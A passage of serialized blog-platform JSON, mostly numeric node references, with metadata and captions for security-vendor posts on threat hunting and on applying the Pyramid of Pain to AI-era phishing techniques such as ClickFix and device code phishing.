"marks":17266,"value":13665,"nodeType":865},{},[],{"data":17268,"marks":17269,"value":3140,"nodeType":865},{},[17270],{"type":961},{"data":17272,"marks":17273,"value":13673,"nodeType":865},{},[],{"data":17275,"content":17276,"nodeType":866},{},[17277],{"data":17278,"marks":17279,"value":13680,"nodeType":865},{},[],{"data":17281,"content":17282,"nodeType":866},{},[17283,17286,17292],{"data":17284,"marks":17285,"value":13687,"nodeType":865},{},[],{"data":17287,"content":17288,"nodeType":882},{"uri":3643},[17289],{"data":17290,"marks":17291,"value":9005,"nodeType":865},{},[],{"data":17293,"marks":17294,"value":13697,"nodeType":865},{},[],{"data":17296,"content":17297,"nodeType":866},{},[17298],{"data":17299,"marks":17300,"value":13704,"nodeType":865},{},[],{"data":17302,"content":17303,"nodeType":953},{},[],{"data":17305,"content":17306,"nodeType":866},{},[17307],{"data":17308,"marks":17309,"value":2792,"nodeType":865},{},[],{"data":17311,"content":17312,"nodeType":866},{},[17313],{"data":17314,"marks":17315,"value":1718,"nodeType":865},{},[],{"data":17317,"content":17318,"nodeType":866},{},[17319,17322,17329],{"data":17320,"marks":17321,"value":21,"nodeType":865},{},[],{"data":17323,"content":17324,"nodeType":882},{"uri":13728},[17325],{"data":17326,"marks":17327,"value":2812,"nodeType":865},{},[17328],{"type":997},{"data":17330,"marks":17331,"value":21,"nodeType":865},{},[],{"data":17333,"content":17334,"nodeType":953},{},[],{"data":17336,"content":17337,"nodeType":963},{},[17338],{"data":17339,"marks":17340,"value":13747,"nodeType":865},{},[17341],{"type":961},{"data":17343,"content":17344,"nodeType":866},{},[17345,17348,17354],{"data":17346,"marks":17347,"value":13754,"nodeType":865},{},[],{"data":17349,"content":17350,"nodeType":882},{"uri":13757},[17351],{"data":17352,"marks":17353,"value":13762,"nodeType":865},{},[],{"data":17355,"marks":17356,"value":13766,"nodeType":865},{},[],{"data":17358,"content":17359,"nodeType":866},{},[17360],{"data":17361,"marks":17362,"value":13773,"nodeType":865},{},[],{"data":17364,"content":17365,"nodeType":2396},{},[17366,17389,17410,17431,17452],{"data":17367,"content":17368,"nodeType":1869},{},[17369,17379],{"data":17370,"content":17371,"nodeType":13791},{},[17372],{"data":17373,"content":17374,"nodeType":866},{},[17375],{"data":17376,"marks":17377,"value":13790,"nodeType":865},{},[17378],{"type":961},{"data":17380,"content":17381,"nodeType":13791},{},[17382],{"data":17383,"content":17384,"nodeType":866},{},[17385],{"data":17386,"marks":17387,"value":13802,"nodeType":865},{},[17388],{"type":961},{"data":17390,"content":17391,"nodeType":1869},{},[17392,17401],{"data":17393,"content":17394,"nodeType":1835},{},[17395],{"data":17396,"content":17397,"nodeType":866},{},[17398],{"data":17399,"marks":17400,"value":13815,"nodeType":865},{},[],{"data":17402,"content":17403,"nodeType":1835},{},[17404],{"data":17405,"content":17406,"nodeType":866},{},[17407],{"data":17408,"marks":17409,"value":13825,"nodeType":865},{},[],{"data":17411,"content":17412,"nodeType":1869},{},[17413,17422],{"data":17414,"content":17415,"nodeType":1835},{},[17416],{"data":17417,"content":17418,"nodeType":866},{},[17419],{"data":17420,"marks":17421,"value":13838,"nodeType":865},{},[],{"data":17423,"content":17424,"nodeType":1835},{},[17425],{"data":17426,"content":17427,"nodeType":866},{},[17428],{"data":17429,"marks":17430,"value":13825,"nodeType":865},{},[],{"data":17432,"content":17433,"nodeType":1869},{},[17434,17443],{"data":17435,"content":17436,"nodeType":1835},{},[17437],{"data":17438,"content":17439,"nodeType":866},{},[17440],{"data":17441,"marks":17442,"value":13860,"nodeType":865},{},[],{"data":17444,"content":17445,"nodeType":1835},{},[17446],{"data":17447,"content":17448,"nodeType":866},{},[17449],{"data":17450,"marks":17451,"value":13870,"nodeType":865},{},[],{"data":17453,"content":17454,"nodeType":1869},{},[17455,17464],{"data":17456,"content":17457,"nodeType":1835},{},[17458],{"data":17459,"content":17460,"nodeType":866},{},[17461],{"data":17462,"marks":17463,"value":13883,"nodeType":865},{},[],{"data":17465,"content":17466,"nodeType":1835},{},[17467],{"data":17468,"content":17469,"nodeType":866},{},[17470],{"data":17471,"marks":17472,"value":13893,"nodeType":865},{},[],{"data":17474,"content":17475,"nodeType":866},{},[17476],{"data":17477,"marks":17478,"value":21,"nodeType":865},{},[],{"items":17480},[17481,17483],{"sys":17482,"name":11426},{"id":11425},{"sys":17484,"name":342},{"id":8410},{"items":17486},[17487],{"fullName":13913,"firstName":13914,"jobTitle":13915,"profilePicture":17488},{"url":13917},"why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline","blog/why-you-cant-vibecode-an-ai-driven-threat-hunting-pipeline",{"json":17492},{"data":17493,"content":17494,"nodeType":1739},{},[17495],{"data":17496,"content":17497,"nodeType":866},{},[17498],{"data":17499,"marks":17500,"value":17501,"nodeType":865},{},[],"Push uses commercial AI models to deliver agentic threat hunting. Can’t you just build something yourself with those same models? Well, no.",{"id":17503,"publishedAt":17504},"2nQU0gDEqgarstvFMqFTzn","2026-08-12T11:52:43.949Z",{"items":17506},[17507,17509],{"sys":17508,"name":297},{"id":2828},{"sys":17510,"name":11426},{"id":11425},{"items":17512},[17513,17515,17517,17519,17521,17523,17525,17527],{"sys":17514,"name":297,"slug":298,"tier":31},{"id":294},{"sys":17516,"name":235,"slug":236,"tier":31},{"id":232},{"sys":17518,"name":342,"slug":343,"tier":31},{"id":339},{"sys":17520,"name":279,"slug":280,"tier":31},{"id":276},{"sys":17522,"name":351,"slug":352,"tier":45},{"id":348},{"sys":17524,"name":315,"slug":316,"tier":45},{"id":312},{"sys":17526,"name":261,"slug":262,"tier":45},{"id":258},{"sys":17528,"name":244,"slug":245,"tier":45},{"id":241},"jF4fS9N4zJQ4h7-u1zTGENs_HtJ7xy8E61BAyKKQc8k",{"id":17531,"title":11415,"authorsCollection":17532,"content":17538,"extension":228,"faqItemsCollection":18259,"faqTitle":59,"featured":6,"hashTags":59,"meta":18261,"metaTitle":18262,"ogImage":59,"postType":1783,"publishedDate":11417,"relatedBlogPostsCollection":18263,"slug":11418,"stem":20612,"subtitle":59,"summary":20613,"synopsis":11416,"sys":20624,"tagsCollection":20626,"topicsCollection":20632,"__hash__":20666},"blog/blog/the-pyramid-of-pain-in-the-ai-era.json",{"items":17533},[17534],{"fullName":11430,"firstName":11431,"jobTitle":11432,"socialLinks":17535,"profilePicture":17537},[17536],"https://www.linkedin.com/in/daniel-g-/",{"url":11434},{"json":17539,"links":18176},{"data":17540,"content":17541,"nodeType":1739},{},[17542,17557,17562,17568,17574,17577,17584,17599,17614,17620,17625,17631,17636,17642,17649,17655,17670,17695,17700,17705,17712,17718,17733,17757,17782,17788,17793,17800,17806,17816,17822,17854,17859,17892,17923,17928,17931,17938,17944,17949,17955,17961,17966,17972,17978,18000,18003,18010,18016,18023,18029,18035,18051,18057,18062,18068,18075,18081,18096,18102,18117,18120,18127,18133,18139,18145,18148,18154,18160],{"data":17543,"content":17544,"nodeType":866},{},[17545,17548,17554],{"data":17546,"marks":17547,"value":10672,"nodeType":865},{},[],{"data":17549,"content":17550,"nodeType":882},{"uri":8556},[17551],{"data":17552,"marks":17553,"value":10679,"nodeType":865},{},[],{"data":17555,"marks":17556,"value":10683,"nodeType":865},{},[],{"data":17558,"content":17561,"nodeType":925},{"target":17559},{"sys":17560},{"id":10688,"type":922,"linkType":923},[],{"data":17563,"content":17564,"nodeType":866},{},[17565],{"data":17566,"marks":17567,"value":10696,"nodeType":865},{},[],{"data":17569,"content":17570,"nodeType":866},{},[17571],{"data":17572,"marks":17573,"value":10703,"nodeType":865},{},[],{"data":17575,"content":17576,"nodeType":953},{},[],{"data":17578,"content":17579,"nodeType":963},{},[17580],{"data":17581,"marks":17582,"value":10714,"nodeType":865},{},[17583],{"type":961},{"data":17585,"content":17586,"nodeType":866},{},[17587,17590,17596],{"data":17588,"marks":17589,"value":10721,"nodeType":865},{},[],{"data":17591,"content":17592,"nodeType":882},{"uri":10724},[17593],{"data":17594,"marks":17595,"value":8814,"nodeType":865},{},[],{"data":17597,"marks":17598,"value":10732,"nodeType":865},{},[],{"data":17600,"content":17601,"nodeType":866},{},[17602,17605,17611],{"data":17603,"marks":17604,"value":10739,"nodeType":865},{},[],{"data":17606,"content":17607,"nodeType":882},{"uri":10742},[17608],{"data":17609,"marks":17610,"value":10747,"nodeType":865},{},[],{"data":17612,"marks":17613,"value":10751,"nodeType":865},{},[],{"data":17615,"content":17616,"nodeType":866},{},[17617],{"data":17618,"marks":17619,"value":10758,"nodeType":865},{},[],{"data":17621,"content":17624,"nodeType":925},{"target":17622},{"sys":17623},{"id":8570,"type":922,"linkType":923},[],{"data":17626,"content":17627,"nodeType":866},{},[17628],{"data":17629,"marks":17630,"value":10770,"nodeType":865},{},[],{"data":17632,"content":17635,"nodeType":925},{"target":17633},{"sys":17634},{"id":10775,"type":922,"linkType":923},[],{"data":17637,"content":17638,"nodeType":866},{},[17639],{"data":17640,"marks":17641,"value":10783,"nodeType":865},{},[],{"data":17643,"content":17644,"nodeType":1458},{},[17645],{"data":17646,"marks":17647,"value":10791,"nodeType":865},{},[17648],{"type":961},{"data":17650,"content":17651,"nodeType":866},{},[17652],{"data":17653,"marks":17654,"value":10798,"nodeType":865},{},[],{"data":17656,"content":17657,"nodeType":866},{},[17658,17661,17667],{"data":17659,"marks":17660,"value":10805,"nodeType":865},{},[],{"data":17662,"content":17663,"nodeType":882},{"uri":3643},[17664],{"data":17665,"marks":17666,"value":10812,"nodeType":865},{},[],{"data":17668,"marks":17669,"value":10816,"nodeType":865},{},[],{"data":17671,"content":17672,"nodeType":866},{},[17673,17676,17683,17686,17692],{"data":17674,"marks":17675,"value":10823,"nodeType":865},{},[],{"data":17677,"content":17678,"nodeType":882},{"uri":3135},[17679],{"data":17680,"marks":17681,"value":10831,"nodeType":865},{},[17682],{"type":997},{"data":17684,"marks":17685,"value":10835,"nodeType":865},{},[],{"data":17687,"content":17688,"nodeType":882},{"uri":3087},[17689],{"data":17690,"marks":17691,"value":3093,"nodeType":865},{},[],{"data":17693,"marks":17694,"value":10845,"nodeType":865},{},[],{"data":17696,"content":17699,"nodeType":925},{"target":17697},{"sys":17698},{"id":10850,"type":922,"linkType":923},[],{"data":17701,"content":17704,"nodeType":925},{"target":17702},{"sys":17703},{"id":10856,"type":922,"linkType":923},[],{"data":17706,"content":17707,"nodeType":1458},{},[17708],{"data":17709,"marks":17710,"value":10865,"nodeType":865},{},[17711],{"type":961},{"data":17713,"content":17714,"nodeType":866},{},[17715],{"data":17716,"marks":17717,"value":10872,"nodeType":865},{},[],{"data":17719,"content":17720,"nodeType":866},{},[17721,17724,17730],{"data":17722,"marks":17723,"value":10879,"nodeType":865},{},[],{"data":17725,"content":17726,"nodeType":882},{"uri":5636},[17727],{"data":17728,"marks":17729,"value":10886,"nodeType":865},{},[],{"data":17731,"marks":17732,"value":10890,"nodeType":865},{},[],{"data":17734,"content":17735,"nodeType":866},{},[17736,17739,17745,17748,17754],{"data":17737,"marks":17738,"value":10897,"nodeType":865},{},[],{"data":17740,"content":17741,"nodeType":882},{"uri":10900},[17742],{"data":17743,"marks":17744,"value":10905,"nodeType":865},{},[],{"data":17746,"marks":17747,"value":10909,"nodeType":865},{},[],{"data":17749,"content":17750,"nodeType":882},{"uri":1384},[17751],{"data":17752,"marks":17753,"value":10916,"nodeType":865},{},[],{"data":17755,"marks":17756,"value":10920,"nodeType":865},{},[],{"data":17758,"content":17759,"nodeType":866},{},[17760,17763,17769,17772,17779],{"data":17761,"marks":17762,"value":10927,"nodeType":865},{},[],{"data":17764,"content":17765,"nodeType":882},{"uri":10930},[17766],{"data":17767,"marks":17768,"value":10935,"nodeType":865},{},[],{"data":17770,"marks":17771,"value":10939,"nodeType":865},{},[],{"data":17773,"content":17774,"nodeType":882},{"uri":10942},[17775],{"data":17776,"marks":17777,"value":10948,"nodeType":865},{},[17778],{"type":997},{"data":17780,"marks":17781,"value":10952,"nodeType":865},{},[],{"data":17783,"content":17784,"nodeType":866},{},[17785],{"data":17786,"marks":17787,"value":10959,"nodeType":865},{},[],{"data":17789,"content":17792,"nodeType":925},{"target":17790},{"sys":17791},{"id":10964,"type":922,"linkType":923},[],{"data":17794,"content":17795,"nodeType":1458},{},[17796],{"data":17797,"marks":17798,"value":10973,"nodeType":865},{},[17799],{"type":961},{"data":17801,"content":17802,"nodeType":866},{},[17803],{"data":17804,"marks":17805,"value":10980,"nodeType":865},{},[],{"data":17807,"content":17808,"nodeType":866},{},[17809,17813],{"data":17810,"marks":17811,"value":360,"nodeType":865},{},[17812],{"type":961},{"data":17814,"marks":17815,"value":10991,"nodeType":865},{},[],{"data":17817,"content":17818,"nodeType":866},{},[17819],{"data":17820,"marks":17821,"value":10998,"nodeType":865},{},[],{"data":17823,"content":17824,"nodeType":866},{},[17825,17828,17834,17837,17841,17844,17851],{"data":17826,"marks":17827,"value":11005,"nodeType":865},{},[],{"data":17829,"content":17830,"nodeType":882},{"uri":11008},[17831],{"data":17832,"marks":17833,"value":11013,"nodeType":865},{},[],{"data":17835,"marks":17836,"value":11017,"nodeType":865},{},[],{"data":17838,"marks":17839,"value":11022,"nodeType":865},{},[17840],{"type":961},{"data":17842,"marks":17843,"value":11026,"nodeType":865},{},[],{"data":17845,"content":17846,"nodeType":882},{"uri":4236},[17847],{"data":17848,"marks":17849,"value":11034,"nodeType":865},{},[17850],{"type":997},{"data":17852,"marks":17853,"value":10349,"nodeType":865},{},[],{"data":17855,"content":17858,"nodeType":925},{"target":17856},{"sys":17857},{"id":11042,"type":922,"linkType":923},[],{"data":17860,"content":17861,"nodeType":866},{},[17862,17865,17869,17872,17879,17882,17889],{"data":17863,"marks":17864,"value":11050,"nodeType":865},{},[],{"data":17866,"marks":17867,"value":315,"nodeType":865},{},[17868],{"type":961},{"data":17870,"marks":17871,"value":11058,"nodeType":865},{},[],{"data":17873,"content":17874,"nodeType":882},{"uri":11061},[17875],{"data":17876,"marks":17877,"value":11067,"nodeType":865},{},[17878],{"type":997},{"data":17880,"marks":17881,"value":11071,"nodeType":865},{},[],{"data":17883,"content":17884,"nodeType":882},{"uri":10494},[17885],{"data":17886,"marks":17887,"value":11079,"nodeType":865},{},[17888],{"type":997},{"data":17890,"marks":17891,"value":11083,"nodeType":865},{},[],{"data":17893,"content":17894,"nodeType":866},{},[17895,17898,17902,17905,17911,17914,17920],{"data":17896,"marks":17897,"value":11090,"nodeType":865},{},[],{"data":17899,"marks":17900,"value":11095,"nodeType":865},{},[17901],{"type":961},{"data":17903,"marks":17904,"value":11099,"nodeType":865},{},[],{"data":17906,"content":17907,"nodeType":882},{"uri":11102},[17908],{"data":17909,"marks":17910,"value":11107,"nodeType":865},{},[],{"data":17912,"marks":17913,"value":11111,"nodeType":865},{},[],{"data":17915,"content":17916,"nodeType":882},{"uri":3009},[17917],{"data":17918,"marks":17919,"value":11118,"nodeType":865},{},[],{"data":17921,"marks":17922,"value":11122,"nodeType":865},{},[],{"data":17924,"content":17927,"nodeType":925},{"target":17925},{"sys":17926},{"id":11127,"type":922,"linkType":923},[],{"data":17929,"content":17930,"nodeType":953},{},[],{"data":17932,"content":17933,"nodeType":963},{},[17934],{"data":17935,"marks":17936,"value":11139,"nodeType":865},{},[17937],{"type":961},{"data":17939,"content":17940,"nodeType":866},{},[17941],{"data":17942,"marks":17943,"value":11146,"nodeType":865},{},[],{"data":17945,"content":17948,"nodeType":925},{"target":17946},{"sys":17947},{"id":11151,"type":922,"linkType":923},[],{"data":17950,"content":17951,"nodeType":866},{},[17952],{"data":17953,"marks":17954,"value":11159,"nodeType":865},{},[],{"data":17956,"content":17957,"nodeType":866},{},[17958],{"data":17959,"marks":17960,"value":11166,"nodeType":865},{},[],{"data":17962,"content":17965,"nodeType":925},{"target":17963},{"sys":17964},{"id":11171,"type":922,"linkType":923},[],{"data":17967,"content":17968,"nodeType":866},{},[17969],{"data":17970,"marks":17971,"value":11179,"nodeType":865},{},[],{"data":17973,"content":17974,"nodeType":866},{},[17975],{"data":17976,"marks":17977,"value":11186,"nodeType":865},{},[],{"data":17979,"content":17980,"nodeType":11214},{},[17981],{"data":17982,"content":17983,"nodeType":866},{},[17984,17987,17993,17996],{"data":17985,"marks":17986,"value":11196,"nodeType":865},{},[],{"data":17988,"content":17989,"nodeType":882},{"uri":11199},[17990],{"data":17991,"marks":17992,"value":11204,"nodeType":865},{},[],{"data":17994,"marks":17995,"value":11208,"nodeType":865},{},[],{"data":17997,"marks":17998,"value":11213,"nodeType":865},{},[17999],{"type":944},{"data":18001,"content":18002,"nodeType":953},{},[],{"data":18004,"content":18005,"nodeType":963},{},[18006],{"data":18007,"marks":18008,"value":11225,"nodeType":865},{},[18009],{"type":961},{"data":18011,"content":18012,"nodeType":866},{},[18013],{"data":18014,"marks":18015,"value":11232,"nodeType":865},{},[],{"data":18017,"content":18018,"nodeType":1458},{},[18019],{"data":18020,"marks":18021,"value":11240,"nodeType":865},{},[18022],{"type":961},{"data":18024,"content":18025,"nodeType":866},{},[18026],{"data":18027,"marks":18028,"value":11247,"nodeType":865},{},[],{"data":18030,"content":18031,"nodeType":866},{},[18032],{"data":18033,"marks":18034,"value":11254,"nodeType":865},{},[],{"data":18036,"content":18037,"nodeType":866},{},[18038,18041,18048],{"data":18039,"marks":18040,"value":11261,"nodeType":865},{},[],{"data":18042,"content":18043,"nodeType":882},{"uri":5636},[18044],{"data":18045,"marks":18046,"value":11269,"nodeType":865},{},[18047],{"type":997},{"data":18049,"marks":18050,"value":11273,"nodeType":865},{},[],{"data":18052,"content":18053,"nodeType":866},{},[18054],{"data":18055,"marks":18056,"value":11280,"nodeType":865},{},[],{"data":18058,"content":18061,"nodeType":925},{"target":18059},{"sys":18060},{"id":11285,"type":922,"linkType":923},[],{"data":18063,"content":18064,"nodeType":866},{},[18065],{"data":18066,"marks":18067,"value":11293,"nodeType":865},{},[],{"data":18069,"content":18070,"nodeType":1458},{},[18071],{"data":18072,"marks":18073,"value":11301,"nodeType":865},{},[18074],{"type":961},{"data":18076,"content":18077,"nodeType":866},{},[18078],{"data":18079,"marks":18080,"value":11308,"nodeType":865},{},[],{"data":18082,"content":18083,"nodeType":866},{},[18084,18087,18093],{"data":18085,"marks":18086,"value":11315,"nodeType":865},{},[],{"data":18088,"content":18089,"nodeType":882},{"uri":3643},[18090],{"data":18091,"marks":18092,"value":9005,"nodeType":865},{},[],{"data":18094,"marks":18095,"value":11325,"nodeType":865},{},[],{"data":18097,"content":18098,"nodeType":866},{},[18099],{"data":18100,"marks":18101,"value":11332,"nodeType":865},{},[],{"data":18103,"content":18104,"nodeType":866},{},[18105,18108,18114],{"data":18106,"marks":18107,"value":11339,"nodeType":865},{},[],{"data":18109,"content":18110,"nodeType":882},{"uri":11342},[18111],{"data":18112,"marks":18113,"value":11347,"nodeType":865},{},[],{"data":18115,"marks":18116,"value":11351,"nodeType":865},{},[],{"data":18118,"content":18119,"nodeType":953},{},[],{"data":18121,"content":18122,"nodeType":963},{},[18123],{"data":18124,"marks":18125,"value":11362,"nodeType":865},{},[18126],{"type":961},{"data":18128,"content":18129,"nodeType":866},{},[18130],{"data":18131,"marks":18132,"value":11369,"nodeType":865},{},[],{"data":18134,"content":18135,"nodeType":866},{},[18136],{"data":18137,"marks":18138,"value":11376,"nodeType":865},{},[],{"data":18140,"content":18141,"nodeType":866},{},[18142],{"data":18143,"marks":18144,"value":11383,"nodeType":865},{},[],{"data":18146,"content":18147,"nodeType":953},{},[],{"data":18149,"content":18150,"nodeType":866},{},[18151],{"data":18152,"marks":18153,"value":2792,"nodeType":865},{},[],{"data":18155,"content":18156,"nodeType":866},{},[18157],{"data":18158,"marks":18159,"value":1718,"nodeType":865},{},[],{"data":18161,"content":18162,"nodeType":866},{},[18163,18166,18173],{"data":18164,"marks":18165,"value":21,"nodeType":865},{},[],{"data":18167,"content":18168,"nodeType":882},{"uri":1728},[18169],{"data":18170,"marks":18171,"value":10641,"nodeType":865},{},[18172],{"type":997},{"data":18174,"marks":18175,"value":1738,"nodeType":865},{},[],{"entries":18177},{"hyperlink":18178,"inline":18179,"block":18180},[],[],[18181,18189,18192,18198,18202,18209,18214,18221,18235,18239,18253],{"sys":18182,"__typename":1747,"title":18183,"caption":18184,"layoutMode":59,"file":18185},{"id":10688},"The Pyramid of Pain illustrates how difficult it is for an attacker to get around different categories of detection, from Trivial to Tough","The Pyramid of Pain illustrates how difficult it is for an attacker to get around different categories of detection, from Trivial to Tough!",{"url":18186,"width":18187,"height":18188},"https://images.ctfassets.net/y1cdw1ablpvd/7dPJT7PYKX71FCCi0GeDzg/16fb3b07959612a45c1b7636da33e541/image3.png",720,405,{"sys":18190,"__typename":1747,"title":9260,"caption":9261,"layoutMode":59,"file":18191},{"id":8570},{"url":9263,"width":1759,"height":9264},{"sys":18193,"__typename":1747,"title":18194,"caption":18195,"layoutMode":59,"file":18196},{"id":10775},"The Pyramid of Pain in the AI era","The Pyramid of Pain in the AI era: The bar for effective detection has been raised even higher.",{"url":18197,"width":1759,"height":9264},"https://images.ctfassets.net/y1cdw1ablpvd/5cUP2dETihxQgWzIN9dsyH/fcb093c7b88b7a48190f528c87dd3935/image2.png",{"sys":18199,"__typename":12453,"title":18200,"arcadeDemoUrl":18201,"playText":12456},{"id":10850},"ClickFix featuring cloned background remover PDF converter","https://demo.arcade.software/ueVViTh501mEYchV9aBe?embed",{"sys":18203,"__typename":1747,"title":18204,"caption":18205,"layoutMode":59,"file":18206},{"id":10856},"LLMShare attack featuring a ChatGPT-designed page shared via malvertised sharing link.","LLMShare attack featuring a ChatGPT-designed page distributed via malvertised sharing link.",{"url":18207,"width":1759,"height":18208},"https://images.ctfassets.net/y1cdw1ablpvd/soQtEPyX9aQUfby2Ylm7m/0bb772950b7e3598a343f1609a955ed4/image3.png",1750,{"sys":18210,"__typename":12453,"title":18211,"arcadeDemoUrl":18212,"playText":18213},{"id":10964},"Tycoon2FA Device Code Phishing","https://demo.arcade.software/SPNMxNkoyY5vTMPPlqWS?embed","30 secs",{"sys":18215,"__typename":1747,"title":18216,"caption":18216,"layoutMode":59,"file":18217},{"id":11042},"Verbose phishing kit comments (a clear sign of AI involvement).",{"url":18218,"width":18219,"height":18220},"https://images.ctfassets.net/y1cdw1ablpvd/2XOX0xzOxsmBKUuQbup47x/a624c2141879f9238704167a35fdeb39/Screenshot_2026-05-07_at_12.53.27.png",1100,1332,{"sys":18222,"__typename":9270,"content":18223,"name":18234,"title":59},{"id":11127},{"json":18224},{"nodeType":1739,"data":18225,"content":18226},{},[18227],{"nodeType":866,"data":18228,"content":18229},{},[18230],{"nodeType":865,"value":18231,"marks":18232,"data":18233},"Six weeks is all it took for ConsentFix to go from nation-state technique to commoditized criminal toolkit — a compression that took device code phishing and ClickFix roughly a year. ",[],{},"Pyramid of Pain IB1",{"sys":18236,"__typename":1747,"title":18237,"caption":18237,"layoutMode":59,"file":18238},{"id":11151},"Tool-level detections aren't as resilient as they were, even if they remain a useful component of the overall detection strategy.",{"url":18197,"width":1759,"height":9264},{"sys":18240,"__typename":9270,"content":18241,"name":18252,"title":59},{"id":11171},{"json":18242},{"nodeType":1739,"data":18243,"content":18244},{},[18245],{"nodeType":866,"data":18246,"content":18247},{},[18248],{"nodeType":865,"value":18249,"marks":18250,"data":18251},"If you build detections around a specific kit's JavaScript patterns, then you're in an arms race with the kit's developer. Build detections around the behavioral mechanics of the technique itself — how the page interacts with the authorization endpoint, the sequence of user actions it orchestrates, the redirect patterns — and you’re tracking something that changes at a much slower rate.",[],{},"Pyramid of Pain IB2",{"sys":18254,"__typename":1747,"title":18255,"caption":18255,"layoutMode":59,"file":18256},{"id":11285},"Solving the \"Missing Middle\" with browser visibility and control.",{"url":18257,"width":1759,"height":18258},"https://images.ctfassets.net/y1cdw1ablpvd/2OrpNtm3faEgGJpjUcmJ5q/275e5c84c72f43377131eb9071c9e2b4/image3.png",966,{"items":18260},[],{},"Using the Pyramid of Pain for threat detection in the AI era",{"items":18264},[18265,18946,19792],{"__typename":1788,"sys":18266,"content":18267,"title":13900,"synopsis":13901,"hashTags":59,"publishedDate":13902,"slug":13903,"tagsCollection":18936,"authorsCollection":18942},{"id":13115},{"json":18268},{"data":18269,"content":18270,"nodeType":1739},{},[18271,18277,18283,18307,18313,18318,18323,18333,18336,18343,18356,18362,18367,18373,18379,18384,18387,18394,18400,18405,18410,18416,18422,18437,18442,18445,18452,18467,18472,18478,18481,18488,18494,18500,18505,18510,18544,18550,18553,18560,18566,18572,18605,18611,18635,18641,18674,18680,18683,18690,18705,18711,18718,18731,18737,18752,18758,18761,18767,18773,18789,18792,18799,18814,18820,18930],{"data":18272,"content":18273,"nodeType":866},{},[18274],{"data":18275,"marks":18276,"value":13126,"nodeType":865},{},[],{"data":18278,"content":18279,"nodeType":866},{},[18280],{"data":18281,"marks":18282,"value":13133,"nodeType":865},{},[],{"data":18284,"content":18285,"nodeType":866},{},[18286,18289,18295,18298,18304],{"data":18287,"marks":18288,"value":13140,"nodeType":865},{},[],{"data":18290,"content":18291,"nodeType":882},{"uri":13143},[18292],{"data":18293,"marks":18294,"value":13148,"nodeType":865},{},[],{"data":18296,"marks":18297,"value":13152,"nodeType":865},{},[],{"data":18299,"content":18300,"nodeType":882},{"uri":13155},[18301],{"data":18302,"marks":18303,"value":13160,"nodeType":865},{},[],{"data":18305,"marks":18306,"value":13164,"nodeType":865},{},[],{"data":18308,"content":18309,"nodeType":866},{},[18310],{"data":18311,"marks":18312,"value":13171,"nodeType":865},{},[],{"data":18314,"content":18317,"nodeType":925},{"target":18315},{"sys":18316},{"id":13176,"type":922,"linkType":923},[],{"data":18319,"content":18322,"nodeType":925},{"target":18320},{"sys":18321},{"id":13182,"type":922,"linkType":923},[],{"data":18324,"content":18325,"nodeType":866},{},[18326,18330],{"data":18327,"marks":18328,"value":13191,"nodeType":865},{},[18329],{"type":961},{"data":18331,"marks":18332,"value":13195,"nodeType":865},{},[],{"data":18334,"content":18335,"nodeType":953},{},[],{"data":18337,"content":18338,"nodeType":963},{},[18339],{"data":18340,"marks":18341,"value":13206,"nodeType":865},{},[18342],{"type":961},{"data":18344,"content":18345,"nodeType":866},{},[18346,18349,18353],{"data":18347,"marks":18348,"value":13213,"nodeType":865},{},[],{"data":18350,"marks":18351,"value":13218,"nodeType":865},{},[18352],{"type":944},{"data":18354,"marks":18355,"value":13222,"nodeType":865},{},[],{"data":18357,"content":18358,"nodeType":866},{},[18359],{"data":18360,"marks":18361,"value":13229,"nodeType":865},{},[],{"data":18363,"content":18366,"nodeType":925},{"target":18364},{"sys":18365},{"id":13234,"type":922,"linkType":923},[],{"data":18368,"content":18369,"nodeType":866},{},[18370],{"data":18371,"marks":18372,"value":13242,"nodeType":865},{},[],{"data":18374,"content":18375,"nodeType":866},{},[18376],{"data":18377,"marks":18378,"value":13249,"nodeType":865},{},[],{"data":18380,"content":18383,"nodeType":925},{"target":18381},{"sys":18382},{"id":13254,"type":922,"linkType":923},[],{"data":18385,"content":18386,"nodeType":953},{},[],{"data":18388,"content":18389,"nodeType":963},{},[18390],{"data":18391,"marks":18392,"value":13266,"nodeType":865},{},[18393],{"type":961},{"data":18395,"content":18396,"nodeType":866},{},[18397],{"data":18398,"marks":18399,"value":13273,"nodeType":865},{},[],{"data":18401,"content":18404,"nodeType":925},{"target":18402},{"sys":18403},{"id":13278,"type":922,"linkType":923},[],{"data":18406,"content":18409,"nodeType":925},{"target":18407},{"sys":18408},{"id":13284,"type":922,"linkType":923},[],{"data":18411,"content":18412,"nodeType":866},{},[18413],{"data":18414,"marks":18415,"value":13292,"nodeType":865},{},[],{"data":18417,"content":18418,"nodeType":866},{},[18419],{"data":18420,"marks":18421,"value":13299,"nodeType":865},{},[],{"data":18423,"content":18424,"nodeType":866},{},[18425,18428,18434],{"data":18426,"marks":18427,"value":13306,"nodeType":865},{},[],{"data":18429,"content":18430,"nodeType":882},{"uri":13309},[18431],{"data":18432,"marks":18433,"value":13314,"nodeType":865},{},[],{"data":18435,"marks":18436,"value":1048,"nodeType":865},{},[],{"data":18438,"content":18441,"nodeType":925},{"target":18439},{"sys":18440},{"id":13322,"type":922,"linkType":923},[],{"data":18443,"content":18444,"nodeType":953},{},[],{"data":18446,"content":18447,"nodeType":963},{},[18448],{"data":18449,"marks":18450,"value":13334,"nodeType":865},{},[18451],{"type":961},{"data":18453,"content":18454,"nodeType":866},{},[18455,18458,18464],{"data":18456,"marks":18457,"value":13341,"nodeType":865},{},[],{"data":18459,"content":18460,"nodeType":882},{"uri":13143},[18461],{"data":18462,"marks":18463,"value":13348,"nodeType":865},{},[],{"data":18465,"marks":18466,"value":13352,"nodeType":865},{},[],{"data":18468,"content":18471,"nodeType":925},{"target":18469},{"sys":18470},{"id":13357,"type":922,"linkType":923},[],{"data":18473,"content":18474,"nodeType":866},{},[18475],{"data":18476,"marks":18477,"value":13365,"nodeType":865},{},[],{"data":18479,"content":18480,"nodeType":953},{},[],{"data":18482,"content":18483,"nodeType":963},{},[18484],{"data":18485,"marks":18486,"value":13376,"nodeType":865},{},[18487],{"type":961},{"data":18489,"content":18490,"nodeType":866},{},[18491],{"data":18492,"marks":18493,"value":13383,"nodeType":865},{},[],{"data":18495,"content":18496,"nodeType":866},{},[18497],{"data":18498,"marks":18499,"value":13390,"nodeType":865},{},[],{"data":18501,"content":18504,"nodeType":925},{"target":18502},{"sys":18503},{"id":5141,"type":922,"linkType":923},[],{"data":18506,"content":18509,"nodeType":925},{"target":18507},{"sys":18508},{"id":13400,"type":922,"linkType":923},[],{"data":18511,"content":18512,"nodeType":866},{},[18513,18516,18522,18525,18531,18534,18541],{"data":18514,"marks":18515,"value":13408,"nodeType":865},{},[],{"data":18517,"content":18518,"nodeType":882},{"uri":13411},[18519],{"data":18520,